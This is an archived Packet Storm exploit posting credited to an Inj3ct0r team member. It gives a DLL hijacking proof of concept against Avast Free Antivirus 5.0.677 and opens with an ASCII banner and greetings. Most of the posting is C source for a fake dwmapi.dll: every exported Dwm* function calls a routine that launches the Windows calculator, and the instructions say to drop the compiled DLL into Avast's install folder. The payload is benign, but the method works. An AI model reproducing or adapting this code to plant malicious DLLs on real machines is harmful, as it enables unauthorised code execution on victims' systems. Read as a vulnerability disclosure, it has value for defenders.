Avast Free Antivirus 5.0.677 DLL Hijacking

2010-10-19T00:00:00
ID PACKETSTORM:94948
Type packetstorm
Reporter anT!-Tr0J4n
Modified 2010-10-19T00:00:00

Description

                                        
                                            `===================================================  
Avast Free Antivirus 5.0.677 DLL Hijacking Exploit (dwmapi.dll)  
===================================================  
  
|| || | ||   
o_,_7 _|| . _o_7 _|| 4_|_|| o_w_,  
( : / (_) / ( .  
  
  
  
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ######################################### 1  
0 I'm anT!-Tr0J4n member from Inj3ct0r Team 1  
1 ######################################### 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
  
  
/*  
#Avast! Free Antivirus 5.0.677 DLL Hijacking Exploit (dwmapi.dll)  
  
#Author : anT!-Tr0J4n  
  
#Email : D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com  
  
#Greetz : Dev-PoinT.com ~ inj3ct0r.com ~ GlaDiatOr ~ SILVER STAR ~ HoBeeZ ~ Coffin Of Evil  
  
#special thanks : r0073r ~ Sid3^effects ~ L0rd CrusAd3r ~ all Inj3ct0r 31337 Member  
  
#Home : www.Dev-PoinT.com $ http://inj3ct0r.com  
  
#Software : http://www.avast.com/index  
  
#Product Version : 5.0.677  
  
#Tested on: Windows XP sp3  
  
  
  
  
==========================  
  
[>>] Compile code as dwmapi.dll & Move DLL file to the directory where avast is installed   
  
[>>] check the result --> 0wn33d  
  
==========================  
  
  
# dwmapi.dll(code)  
*/  
  
  
#include <windows.h>  
#define DLLIMPORT __declspec (dllexport)  
  
DLLIMPORT void DwmDefWindowProc() { evil(); }  
DLLIMPORT void DwmEnableBlurBehindWindow() { evil(); }  
DLLIMPORT void DwmEnableComposition() { evil(); }  
DLLIMPORT void DwmEnableMMCSS() { evil(); }  
DLLIMPORT void DwmExtendFrameIntoClientArea() { evil(); }  
DLLIMPORT void DwmGetColorizationColor() { evil(); }  
DLLIMPORT void DwmGetCompositionTimingInfo() { evil(); }  
DLLIMPORT void DwmGetWindowAttribute() { evil(); }  
DLLIMPORT void DwmIsCompositionEnabled() { evil(); }  
DLLIMPORT void DwmModifyPreviousDxFrameDuration() { evil(); }  
DLLIMPORT void DwmQueryThumbnailSourceSize() { evil(); }  
DLLIMPORT void DwmRegisterThumbnail() { evil(); }  
DLLIMPORT void DwmSetDxFrameDuration() { evil(); }  
DLLIMPORT void DwmSetPresentParameters() { evil(); }  
DLLIMPORT void DwmSetWindowAttribute() { evil(); }  
DLLIMPORT void DwmUnregisterThumbnail() { evil(); }  
DLLIMPORT void DwmUpdateThumbnailProperties() { evil(); }  
  
int evil()  
{  
WinExec("calc", 0);  
exit(0);  
return 0;  
}  
`